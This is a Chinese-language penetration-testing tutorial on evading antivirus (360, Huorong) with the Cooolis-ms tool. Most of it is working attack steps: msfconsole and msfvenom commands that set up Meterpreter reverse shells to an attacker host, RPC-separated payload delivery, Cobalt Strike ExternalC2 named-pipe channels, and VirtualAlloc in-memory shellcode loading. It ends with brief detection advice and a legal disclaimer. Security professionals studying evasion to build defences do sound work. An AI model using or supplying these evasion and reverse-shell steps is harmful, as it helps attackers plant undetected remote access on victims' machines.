渗透测试之地基免杀篇:C2、RPC、加载内存三种方式全免杀
字数 1518 2025-08-15 21:33:46
渗透测试之地基免杀篇:C2、RPC、内存加载技术详解
一、前言
在内网渗透的后渗透阶段,免杀技术至关重要。本文介绍三种静态免杀方法和思路:
- 创建MSF-RPC服务端使用VirtualAlloc Windows API申请内存空间执行shellcode
- ExternalC2创建命名通道直接连接服务端免杀
- 内存加载分离上线C语言shellcode
二、环境准备
攻击环境
- 攻击者:Kali Linux 2020.4 (192.168.253.8)
- 目标系统:Windows 10 (192.168.253.17)
- 目标防护:360、360杀毒、火绒、deferencer杀软
工具准备
下载Cooolis-ms工具:
https://github.com/Rvn0xsy/Cooolis-ms/releases/tag/refs%2Fheads%2Fmaster
三、免杀技术详解
1. MSF Docker免杀
部署步骤
- 克隆并构建Docker环境:
proxychains git clone https://github.com/Rvn0xsy/Cooolis-ms.git
cd Cooolis-ms
docker-compose up -d
- 开启MSF监听:
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.253.8; set lport 8876; exploit -j;"
- 生成并执行payload:
Cooolis-ms.exe metasploit -p windows/x64/meterpreter/reverse_tcp -o LHOST=192.168.253.8,LPORT=8876,Format=dll -H 192.168.253.8 -P 8899
技术原理
- 客户端执行Cooolis.exe向8899端口的docker服务端请求shellcode
- docker server接收请求后调用API Method,登录到MSF监听端
- 监听端生成shellcode回传到客户端
- 使用dll内存加载技术:通过API获取shellcode,动态分配内存执行
2. MSF RPC免杀
部署步骤
- 安装依赖:
pip3 install -r requirements.txt
- 开启msfrpc服务:
msfrpcd -U msf -P msf -u /api/1.0/
- 启动本地服务:
python3 server.py -U msf -P msf -H 127.0.0.1 -p 55553 -s -v -l 6666 -S 192.168.253.8
- 目标机器执行:
Cooolis-ms.exe metasploit -p windows/x64/meterpreter/reverse_tcp -o LHOST=192.168.253.8,LPORT=5555,Format=dll -H 192.168.253.8 -P 6666
- 开启MSF监听:
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.253.8; set lport 5555; set Format dll; exploit -j;"
3. ExternalC2免杀
部署步骤
- 在Cobalt Strike中创建External C2监听器
- 目标机器执行:
Cooolis-ms.exe cobaltstrike -H 192.168.1.10 -P 3322
技术原理
- 创建命名管道进行C2通信
- 数据流:
- 发送命令:CS服务端 → 第三方服务端 → 第三方客户端 → SMB beacon
- 返回结果:SMB beacon → 第三方服务端 → 第三方客户端 → CS服务端
4. C内存加载免杀
MSF-C免杀
- 生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.253.8 lport=8876 -f c
- 将shellcode保存为txt文件
- 执行加载:
Cooolis-ms.exe shellcode -f 2.txt
CS-C免杀
- 在Cobalt Strike生成C语言payload
- 提取shellcode到txt文件
- 执行加载:
Cooolis-ms.exe shellcode -f 1.txt
技术原理
- 使用VirtualAlloc申请内存空间
- 将shellcode写入内存
- 创建线程执行内存中的shellcode
四、源码分析
1. ExternalC2.cpp
- 创建命名管道
- 将客户端交互信息复制到命名管道中
- 基于Cobalt Strike官方源码修改
2. Http.cpp
- HTTP流量交互处理
- 内存空间加载和调用
- 反复通过内存空间调用实现免杀
3. msf.cpp
- PE文件处理
- 内存操作
- 与MSF平台交互
4. Reflective.cpp
- DLL内存加载过程
- 多次循环确保加载成功
- 处理内存中的数组、指针等数据结构
5. shellcode.cpp
- VirtualAlloc内存申请
- shellcode加载执行
- 线程创建和控制
6. MemoryModule.cpp
- 内存块提交
- DLL数据复制
- 内存区域大小确认
- 内存释放
7. source.cpp
- 主程序入口
- 核心功能调用
- 关联所有功能模块
五、技术总结
- VirtualAlloc内存加载:将shellcode加载到内存中执行,避免文件落地
- RPC分离:将payload生成和执行分离,降低检测概率
- 命名管道通信:绕过传统C2通道检测
- 源码定制:通过修改和优化源码实现更高程度的免杀
六、防御建议
- 监控异常内存分配行为
- 检测命名管道创建和通信
- 分析RPC服务异常调用
- 加强进程行为监控
- 实施网络流量深度检测
七、法律声明
本文所述技术仅用于安全研究和教育目的。未经授权对他人系统进行渗透测试是违法行为,后果自负。